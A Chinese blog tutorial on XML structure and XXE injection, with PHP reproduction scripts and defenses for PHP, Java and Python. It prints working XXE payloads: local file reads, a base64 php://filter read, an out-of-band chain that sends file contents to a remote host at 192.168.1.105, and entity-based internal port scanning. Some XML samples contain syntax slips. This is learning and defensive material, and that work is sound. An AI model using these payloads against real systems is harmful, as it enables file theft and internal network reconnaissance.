Bubbles~blog

用爱发电

xxe test

前几天研究了一下xml,然后就想看看相关的漏洞,发现主要存在的就是xml外部实体注入,即XXE(xml external entity)

XML基础

xml主要是被设计用来传输和存储数据的,目的是把数据和html分离开来,具体用法可以去参阅相关教程。

XML的文档主要包括三个方面,XML声明,文档类型定义和文档元素
下面就是一个典型的xml文件

<!--XML申明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Bob</to>
<from>Alice</from>
<head>Reminder</head>
<body>Hello World</body>
</note>

其中容易出现漏洞的就是文档类型定义部分,因为在这里我们可以引入外部的文件来进行定义,一般这样的是DTD文件,它是用来定义文档的合法结构的
我们可以像上面那样在内部声明它

<!DOCTYPE 根元素 [声明]

也可以引入外部文件

<!DOCTYPE 元素 SYSTEM "文件">

在DTD文件里我们可以引入实体,这也是容易引发安全问题的地方
实体在这其实就类似于一个变量,声明它以后我们就可以在下面的xml主体部分使用它
实体的引入:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY name "xxe">]>
<z>
        <value>&name;</value> 
</z>

参数实体的引入:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///D:/xml/pass.txt">
    %name;
]>

要注意的是只有参数实体的引用是在DTD里而且前面加%,其他实体的引用加的都是&

我们要关注的xxe漏洞主要就是利用了外部实体引入时产生的漏洞

XXE漏洞

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

读取任意文件

各种服务端都能解析xml文件,这里我们使用php来复现这一漏洞

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "file:///D:/xml/pass.txt"]
]>
<x>&xxe;</x>
EOF;
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
print_r($data);
?>

之前进行复现一直失败,无法读取文件,后来发现是现在的版本都默认关闭了外部实体的解析,我们需要在simplexml_load_string()函数加上LIBXML_NOENT参数

上面是直接使用的外部实体,我们也可以通过参数实体来解决

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % dtd SYSTEM "http://192.168.1.105/xml/ttx.dtd"
%dtd;
]>
<x>&xxe;</x>
EOF;
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
#$data = simplexml_load_string($xml);
print_r($data);
?>

ttx.dtd:

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=pass.txt">

因为xml文档比较规范化,有时候文件里出现了未闭合的<就可能导致解析失败,所以读取类似的php文件时我们可以先base64编码一下

但是我们也看到上面的数据都进行了输出,也就是有回显,然而很多情境下是没有回显的,也就是说你不知道你读取了什么数据,所以很多人觉得xxe漏洞很鸡肋,不过事实上我们可以把数据发送到我们的服务器
test.php

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=pass.txt">
<!ENTITY % dtd SYSTEM "http://192.168.1.105/xml/ggt.dtd">
%dtd;
%all;
%send;
]>
EOF;
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
#$data = simplexml_load_string($xml);
echo '<pre>';
echo '

‘;

ggt.dtd:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.1.105/xml/ttx.php?file=%file;'>">

这样我们就把读取到的文件保存到了我们的服务器上

探测内网端口

scan.php

<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "http://192.168.1.105:82">
]>
<x>&xxe;</x>
EOF;
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
print_r($data);
?>

当目标机器的82端口关闭时我们就会看到引入外部文件失败的提示,如果是开启的那你看见的就是一大堆格式的报错了,取决于读取到的文件,通过这种方式便可探测内网的端口了

至于命令执行则需要结合php的expect扩展,利用条件也比较苛刻,暂时也没去复现,有兴趣的可以去尝试

XXE防御

1.使用相应语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的数据

过滤关键词: